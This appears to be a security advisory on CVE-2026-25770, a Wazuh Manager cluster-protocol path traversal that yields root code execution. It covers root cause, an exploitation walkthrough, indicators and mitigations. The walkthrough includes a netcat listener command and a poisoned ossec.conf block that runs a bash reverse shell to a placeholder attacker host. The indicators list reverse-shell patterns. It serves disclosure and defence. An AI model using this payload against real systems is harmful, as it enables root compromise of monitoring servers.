CVE-2026-25770: 
Wazuh Agent vulnerability analysis and mitigation

CVE-2026-25770 is a privilege escalation vulnerability in the Wazuh Manager's cluster synchronization protocol that allows authenticated cluster nodes to achieve full root Remote Code Execution (RCE). It affects Wazuh versions 3.9.0 through 4.14.2 (prior to 4.14.3) and was published on March 17, 2026. The vulnerability was discovered by researcher skraft9 and disclosed via a GitHub Security Advisory. It carries a CVSS v3.1 base score of 7.2 (High) per NVD, though the GitHub advisory rates it 9.1 (Critical) due to scope change (GitHub Advisory, Red Hat CVE).

The root cause is a combination of CWE-22 (Path Traversal), CWE-269 (Improper Privilege Management), and CWE-732 (Incorrect Permission Assignment for Critical Resource). The vulnerable code resides in framework/wazuh/core/cluster/common.py in the receive_file method (lines 628–641), which directly concatenates user-controlled file path data with WAZUH_PATH without any path traversal validation, then opens the resulting path with write-binary (wb) mode. Because the default Wazuh installation grants the wazuh group write access to /var/ossec/etc/ossec.conf (permissions -rw-rw---- root:wazuh), an attacker can send a crafted file_upd packet over TCP port 1516 to overwrite this configuration file with a malicious <localfile> command block. The wazuh-logcollector service, which runs as root, subsequently parses the poisoned configuration and executes the injected command, completing the privilege escalation chain (GitHub Advisory).

Successful exploitation grants an attacker full root-level code execution on the Wazuh Manager host, resulting in complete compromise of confidentiality, integrity, and availability. An attacker can read all data on the system, modify or destroy files, install persistent backdoors, and use the compromised manager as a pivot point for lateral movement into the broader monitored infrastructure — since the Wazuh Manager has visibility into and communication with all enrolled agents. The attack effectively transforms the Cluster Key into a credential for vertical privilege escalation, bypassing the intended security boundary between the application layer and the host operating system (GitHub Advisory, Feedly).

1. Obtain Cluster Key: Acquire the Wazuh Cluster Key from a compromised worker node, configuration backup, or insider access. The key is typically stored in /var/ossec/etc/ossec.conf on cluster nodes.
2. Set up listener: On the attacker-controlled machine, start a Netcat listener: nc -lvnp 8000.
3. Prepare malicious configuration: Craft a poisoned ossec.conf payload containing a malicious <localfile> command block that triggers a reverse shell:

<localfile>
  <log_format>command</log_format>
  <command>/bin/bash -c "bash -i >& /dev/tcp/ATTACKER_IP/8000 0>&1"</command>
  <frequency>10</frequency>
</localfile>

4. Run exploit script: Execute the cluster_upload_ossec_debug.py Python script, configured with the target IP, port 1516, the Cluster Key, and the attacker's IP/port. The script authenticates using Fernet encryption derived from the Cluster Key, then sends new_file, file_upd, and file_end packets targeting /etc/ossec.conf (which resolves to /var/ossec/etc/ossec.conf within the Wazuh chroot).
5. Trigger execution: Wait for the wazuh-logcollector service to reload its configuration (automated on a schedule or triggered by a service restart). The service, running as root, parses the poisoned configuration and executes the injected command.
6. Receive root shell: The attacker's Netcat listener receives a connection with uid=0(root), confirming full system compromise (GitHub Advisory).

• Network: Unexpected TCP connections to port 1516 (Wazuh cluster port) from unauthorized or external IP addresses; outbound connections from the Wazuh Manager to unknown external IPs on unusual ports (e.g., attacker's reverse shell port).
• File System: Unexpected modification timestamp on /var/ossec/etc/ossec.conf; presence of <localfile> blocks with shell commands (e.g., bash -i, /dev/tcp/) in ossec.conf; new or modified files in /var/ossec/ directories written outside of normal administrative activity.
• Logs: Wazuh cluster daemon logs (/var/ossec/logs/cluster.log) showing file_upd or new_file commands from unexpected source nodes; wazuh-logcollector logs showing execution of unexpected commands; system auth logs showing root-level process spawning from wazuh-logcollector.
• Process: Unexpected child processes spawned by wazuh-logcollector running as root (e.g., /bin/bash, nc, curl, python); reverse shell processes with network connections to external IPs (GitHub Advisory).

Upgrade Wazuh Manager to version 4.14.3 or later, which fixes the vulnerability by adding path validation to the receive_file method (GitHub Advisory). As an immediate workaround, harden file permissions on ossec.conf by changing ownership to root:wazuh and permissions to 640 (read-only for the wazuh group): chown root:wazuh /var/ossec/etc/ossec.conf && chmod 640 /var/ossec/etc/ossec.conf. Additionally, restrict network access to TCP port 1516 using firewall rules so only trusted, known cluster node IPs can connect, and implement network segmentation to isolate the Wazuh Manager's cluster port from untrusted networks (Feedly).

The vulnerability was covered by SecurityOnline.info, which highlighted it alongside related Wazuh vulnerabilities patched in v4.14.3 (SecurityOnline). The Hacker Wire published a technical write-up on the privilege escalation chain via the cluster protocol (The Hacker Wire). Community discussion noted the severity of the attack chain — particularly that a security monitoring platform itself could be weaponized to achieve root on the manager — and the availability of a working PoC raised concerns about rapid weaponization by threat actors targeting security infrastructure.